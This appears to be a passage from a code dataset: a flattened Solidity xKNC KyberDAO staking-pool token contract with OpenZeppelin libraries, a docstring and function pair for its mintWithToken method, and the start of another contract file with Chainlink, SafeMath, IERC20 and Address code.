_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
uint256[49] private __gap;
}
// File: contracts/interface/IKyberNetworkProxy.sol
pragma solidity 0.6.2;
interface IKyberNetworkProxy {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function swapEtherToToken(ERC20 token, uint minConversionRate) external payable returns(uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) external payable returns(uint);
function swapTokenToToken(ERC20 src, uint srcAmount, ERC20 dest, uint minRate) external returns(uint);
}
// File: contracts/interface/IKyberStaking.sol
pragma solidity 0.6.2;
interface IKyberStaking {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function getLatestStakeBalance(address staker) external view returns(uint);
}
// File: contracts/interface/IKyberDAO.sol
pragma solidity 0.6.2;
interface IKyberDAO {
function submitVote(uint256 proposalId, uint256 optionBitMask) external;
}
// File: contracts/interface/IKyberFeeHandler.sol
pragma solidity 0.6.2;
interface IKyberFeeHandler {
function claimStakerReward(
address staker,
uint256 epoch
) external returns(uint256 amountWei);
}
// File: contracts/interface/INewKNC.sol
pragma solidity 0.6.2;
interface INewKNC {
function mintWithOldKnc(uint256 amount) external;
}
// File: contracts/interface/IRewardsDistributor.sol
pragma solidity 0.6.2;
interface IRewardsDistributor {
function claim(
uint256 cycle,
uint256 index,
address user,
IERC20[] calldata tokens,
uint256[] calldata cumulativeAmounts,
bytes32[] calldata merkleProof
) external returns (uint256[] memory claimAmounts);
}
// File: contracts/xKNC.sol
pragma solidity 0.6.2;
/*
* xKNC KyberDAO Pool Token
* Communal Staking Pool with Stated Governance Position
*/
contract xKNC is
Initializable,
ERC20,
OwnableUpgradeSafe,
PausableUpgradeSafe,
ReentrancyGuardUpgradeSafe
{
using SafeMath for uint256;
using SafeERC20 for ERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
ERC20 private knc;
IKyberDAO private kyberDao;
IKyberStaking private kyberStaking;
IKyberNetworkProxy private kyberProxy;
IKyberFeeHandler[] private kyberFeeHandlers;
address[] private kyberFeeTokens;
uint256 private constant PERCENT = 100;
uint256 private constant MAX_UINT = 2**256 - 1;
uint256 private constant INITIAL_SUPPLY_MULTIPLIER = 10;
uint256 private withdrawableEthFees;
uint256 private withdrawableKncFees;
string public mandate;
address private manager;
address private manager2;
struct FeeDivisors {
uint256 mintFee;
uint256 burnFee;
uint256 claimFee;
}
FeeDivisors public feeDivisors;
event FeeDivisorsSet(uint256 mintFee, uint256 burnFee, uint256 claimFee);
enum FeeTypes {MINT, BURN, CLAIM}
// vars added for v3
bool private v3Initialized;
IRewardsDistributor private rewardsDistributor;
// BlockLock logic ; Implements locking of mint, burn, transfer and transferFrom
// functions via a notLocked modifier
// Functions are locked per address.
// how many blocks are the functions locked for
uint256 private constant BLOCK_LOCK_COUNT = 6;
// last block for which this address is timelocked
mapping(address => uint256) public lastLockedBlock;
modifier notLocked(address lockedAddress) {
require(
lastLockedBlock[lockedAddress] <= block.number,
"Function is locked for this address"
);
_;
lastLockedBlock[lockedAddress] = block.number + BLOCK_LOCK_COUNT;
}
function initialize(
string memory _symbol,
string memory _mandate,
IKyberStaking _kyberStaking,
IKyberNetworkProxy _kyberProxy,
ERC20 _knc,
IKyberDAO _kyberDao,
uint256 mintFee,
uint256 burnFee,
uint256 claimFee
) public initializer {
__Context_init_unchained();
__Ownable_init_unchained();
__ReentrancyGuard_init_unchained();
__ERC20_init_unchained("xKNC", _symbol);
mandate = _mandate;
kyberStaking = _kyberStaking;
kyberProxy = _kyberProxy;
knc = _knc;
kyberDao = _kyberDao;
_setFeeDivisors(mintFee, burnFee, claimFee);
}
/*
* @notice Called by users buying with ETH
* @dev Swaps ETH for KNC, deposits to Staking contract
* @dev: Mints pro rata xKNC tokens
* @param: kyberProxy.getExpectedRate(eth => knc)
*/
function mint(uint256 minRate)
external
payable
whenNotPaused
notLocked(msg.sender)
{
require(msg.value > 0, "Must send eth with tx");
// ethBalBefore checked in case of eth still waiting for exch to KNC
uint256 ethBalBefore = getFundEthBalanceWei().sub(msg.value);
uint256 fee = _administerEthFee(FeeTypes.MINT, ethBalBefore);
uint256 ethValueForKnc = msg.value.sub(fee);
uint256 kncBalanceBefore = getFundKncBalanceTwei();
_swapEtherToKnc(ethValueForKnc, minRate);
_deposit(getAvailableKncBalanceTwei());
uint256 mintAmount = _calculateMintAmount(kncBalanceBefore);
return super._mint(msg.sender, mintAmount);
}
/*
* @notice Called by users buying with KNC
* @notice Users must submit ERC20 approval before calling
* @dev Deposits to Staking contract
* @dev: Mints pro rata xKNC tokens
* @param: Number of KNC to contribue
*/
function mintWithToken(uint256 kncAmountTwei)
external
whenNotPaused
notLocked(msg.sender)
{
require(kncAmountTwei > 0, "Must contribute KNC");
knc.safeTransferFrom(msg.sender, address(this), kncAmountTwei);
uint256 kncBalanceBefore = getFundKncBalanceTwei();
_administerKncFee(kncAmountTwei, FeeTypes.MINT);
_deposit(getAvailableKncBalanceTwei());
uint256 mintAmount = _calculateMintAmount(kncBalanceBefore);
return super._mint(msg.sender, mintAmount);
}
/*
* @notice Called by users burning their xKNC
* @dev Calculates pro rata KNC and redeems from Staking contract
* @dev: Exchanges for ETH if necessary and pays out to caller
* @param tokensToRedeem
* @param redeemForKnc bool: if true, redeem for KNC; otherwise ETH
* @param kyberProxy.getExpectedRate(knc => eth)
*/
function burn(
uint256 tokensToRedeemTwei,
bool redeemForKnc,
uint256 minRate
) external nonReentrant notLocked(msg.sender) {
require(
balanceOf(msg.sender) >= tokensToRedeemTwei,
"Insufficient balance"
);
uint256 proRataKnc =
getFundKncBalanceTwei().mul(tokensToRedeemTwei).div(totalSupply());
_withdraw(proRataKnc);
super._burn(msg.sender, tokensToRedeemTwei);
if (redeemForKnc) {
uint256 fee = _administerKncFee(proRataKnc, FeeTypes.BURN);
knc.safeTransfer(msg.sender, proRataKnc.sub(fee));
} else {
// safeguard to not overcompensate _burn sender in case eth still awaiting for exch to KNC
uint256 ethBalBefore = getFundEthBalanceWei();
kyberProxy.swapTokenToEther(
knc,
getAvailableKncBalanceTwei(),
minRate
);
_administerEthFee(FeeTypes.BURN, ethBalBefore);
uint256 valToSend = getFundEthBalanceWei().sub(ethBalBefore);
(bool success, ) = msg.sender.call.value(valToSend)("");
require(success, "Burn transfer failed");
}
}
/*
* @notice Calculates proportional issuance according to KNC contribution
* @notice Fund starts at ratio of INITIAL_SUPPLY_MULTIPLIER/1 == xKNC supply/KNC balance
* and approaches 1/1 as rewards accrue in KNC
* @param kncBalanceBefore used to determine ratio of incremental to current KNC
*/
function _calculateMintAmount(uint256 kncBalanceBefore)
private
view
returns (uint256 mintAmount)
{
uint256 kncBalanceAfter = getFundKncBalanceTwei();
if (totalSupply() == 0)
return kncBalanceAfter.mul(INITIAL_SUPPLY_MULTIPLIER);
mintAmount = (kncBalanceAfter.sub(kncBalanceBefore))
.mul(totalSupply())
.div(kncBalanceBefore);
}
function transfer(address recipient, uint256 amount)
public
override
notLocked(msg.sender)
returns (bool)
{
return super.transfer(recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override notLocked(sender) returns (bool) {
return super.transferFrom(sender, recipient, amount);
}
/*
* @notice KyberDAO deposit
*/
function _deposit(uint256 amount) private {
kyberStaking.deposit(amount);
}
/*
* @notice KyberDAO withdraw
*/
function _withdraw(uint256 amount) private {
kyberStaking.withdraw(amount);
}
/*
* @notice Vote on KyberDAO campaigns
* @dev Admin calls with relevant params for each campaign in an epoch
* @param proposalId: DAO proposalId
* @param optionBitMask: voting option
*/
function vote(uint256 proposalId, uint256 optionBitMask)
external
onlyOwnerOrManager
{
kyberDao.submitVote(proposalId, optionBitMask);
}
/*
* @notice Claim reward from previous epoch
* @dev Admin calls with relevant params
* @dev ETH/other asset rewards swapped into KNC
* @param cycle - sourced from Kyber API
* @param index - sourced from Kyber API
* @param tokens - ERC20 fee tokens
* @param merkleProof - sourced from Kyber API
* @param minRates - kyberProxy.getExpectedRate(eth/token => knc)
*/
function claimReward(
uint256 cycle,
uint256 index,
IERC20[] calldata tokens,
uint256[] calldata cumulativeAmounts,
bytes32[] calldata merkleProof,
uint256[] calldata minRates
) external onlyOwnerOrManager {
require(tokens.length == minRates.length, "Must be equal length");
rewardsDistributor.claim(
cycle,
index,
address(this),
tokens,
cumulativeAmounts,
merkleProof
);
for (uint256 i = 0; i < tokens.length; i++) {
if (address(tokens[i]) == address(knc)) {
continue;
} else if (address(tokens[i]) == ETH_ADDRESS) {
_swapEtherToKnc(getFundEthBalanceWei(), minRates[i]);
} else {
_swapTokenToKnc(
address(tokens[i]),
tokens[i].balanceOf(address(this)),
minRates[i]
);
}
}
_administerKncFee(getAvailableKncBalanceTwei(), FeeTypes.CLAIM);
_deposit(getAvailableKncBalanceTwei());
}
function _swapEtherToKnc(uint256 amount, uint256 minRate) private {
kyberProxy.swapEtherToToken.value(amount)(knc, minRate);
}
function _swapTokenToKnc(
address fromAddress,
uint256 amount,
uint256 minRate
) private {
kyberProxy.swapTokenToToken(ERC20(fromAddress), amount, knc, minRate);
}
/*
* @notice Returns ETH balance belonging to the fund
*/
function getFundEthBalanceWei() public view returns (uint256) {
return address(this).balance.sub(withdrawableEthFees);
}
/*
* @notice Returns KNC balance staked to DAO
*/
function getFundKncBalanceTwei() public view returns (uint256) {
return kyberStaking.getLatestStakeBalance(address(this));
}
/*
* @notice Returns KNC balance available to stake
*/
function getAvailableKncBalanceTwei() public view returns (uint256) {
return knc.balanceOf(address(this)).sub(withdrawableKncFees);
}
function _administerEthFee(FeeTypes _type, uint256 ethBalBefore)
private
returns (uint256 fee)
{
uint256 feeRate = getFeeRate(_type);
if (feeRate == 0) return 0;
fee = (getFundEthBalanceWei().sub(ethBalBefore)).div(feeRate);
withdrawableEthFees = withdrawableEthFees.add(fee);
}
function _administerKncFee(uint256 _kncAmount, FeeTypes _type)
private
returns (uint256 fee)
{
uint256 feeRate = getFeeRate(_type);
if (feeRate == 0) return 0;
fee = _kncAmount.div(feeRate);
withdrawableKncFees = withdrawableKncFees.add(fee);
}
function getFeeRate(FeeTypes _type) public view returns (uint256) {
if (_type == FeeTypes.MINT) return feeDivisors.mintFee;
if (_type == FeeTypes.BURN) return feeDivisors.burnFee;
if (_type == FeeTypes.CLAIM) return feeDivisors.claimFee;
}
/* UTILS */
/*
* @notice Called by admin on deployment for KNC
* @dev Approves Kyber Proxy contract to trade KNC
* @param Token to approve on proxy contract
* @param Pass _reset as true if resetting allowance to zero
*/
function approveKyberProxyContract(address _token, bool _reset)
external
onlyOwnerOrManager
{
_approveKyberProxyContract(_token, _reset);
}
function _approveKyberProxyContract(address _token, bool _reset) private {
uint256 amount = _reset ? 0 : MAX_UINT;
IERC20(_token).approve(address(kyberProxy), amount);
}
/*
* @notice Called by admin on deployment
* @dev (1 / feeDivisor) = % fee on mint, burn, ETH claims
* @dev ex: A feeDivisor of 334 suggests a fee of 0.3%
* @param feeDivisors[mint, burn, claim]:
*/
function setFeeDivisors(
uint256 _mintFee,
uint256 _burnFee,
uint256 _claimFee
) external onlyOwner {
_setFeeDivisors(_mintFee, _burnFee, _claimFee);
}
function _setFeeDivisors(
uint256 _mintFee,
uint256 _burnFee,
uint256 _claimFee
) private {
require(
_mintFee >= 100 || _mintFee == 0,
"Mint fee must be zero or equal to or less than 1%"
);
require(_burnFee >= 100, "Burn fee must be equal to or less than 1%");
require(_claimFee >= 10, "Claim fee must be less than 10%");
feeDivisors.mintFee = _mintFee;
feeDivisors.burnFee = _burnFee;
feeDivisors.claimFee = _claimFee;
emit FeeDivisorsSet(_mintFee, _burnFee, _claimFee);
}
function withdrawFees() external onlyOwner {
uint256 ethFees = withdrawableEthFees;
uint256 kncFees = withdrawableKncFees;
withdrawableEthFees = 0;
withdrawableKncFees = 0;
(bool success, ) = msg.sender.call.value(ethFees)("");
require(success, "Burn transfer failed");
knc.safeTransfer(owner(), kncFees);
}
function setManager(address _manager) external onlyOwner {
manager = _manager;
}
function setManager2(address _manager2) external onlyOwner {
manager2 = _manager2;
}
function pause() external onlyOwnerOrManager {
_pause();
}
function unpause() external onlyOwnerOrManager {
_unpause();
}
modifier onlyOwnerOrManager {
require(
msg.sender == owner() ||
msg.sender == manager ||
msg.sender == manager2,
"Non-admin caller"
);
_;
}
/*
* @notice Fallback to accommodate claimRewards function
*/
receive() external payable {
require(msg.sender != tx.origin, "Errant ETH deposit");
}
function migrateV3(
address _newKnc,
IKyberDAO _newKyberDao,
IKyberStaking _newKyberStaking,
IRewardsDistributor _rewardsDistributor
) external onlyOwnerOrManager {
require(!v3Initialized, "Initialized already");
v3Initialized = true;
_withdraw(getFundKncBalanceTwei());
knc.approve(_newKnc, MAX_UINT);
INewKNC(_newKnc).mintWithOldKnc(knc.balanceOf(address(this)));
knc = ERC20(_newKnc);
kyberDao = _newKyberDao;
kyberStaking = _newKyberStaking;
rewardsDistributor = _rewardsDistributor;
knc.approve(address(kyberStaking), MAX_UINT);
_deposit(getAvailableKncBalanceTwei());
}
function setRewardsDistributor(IRewardsDistributor _rewardsDistributor)
external
onlyOwner
{
rewardsDistributor = _rewardsDistributor;
}
function getRewardDistributor()
external
view
returns (IRewardsDistributor)
{
return rewardsDistributor;
}
}
|
Called by users buying with KNC Users must submit ERC20 approval before calling Deposits to Staking contract : Mints pro rata xKNC tokens : Number of KNC to contribue/
|
function mintWithToken(uint256 kncAmountTwei)
external
whenNotPaused
notLocked(msg.sender)
{
require(kncAmountTwei > 0, "Must contribute KNC");
knc.safeTransferFrom(msg.sender, address(this), kncAmountTwei);
uint256 kncBalanceBefore = getFundKncBalanceTwei();
_administerKncFee(kncAmountTwei, FeeTypes.MINT);
_deposit(getAvailableKncBalanceTwei());
uint256 mintAmount = _calculateMintAmount(kncBalanceBefore);
return super._mint(msg.sender, mintAmount);
}
| 1,628,494
|
/**
*Submitted for verification at Etherscan.io on 2021-03-05
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
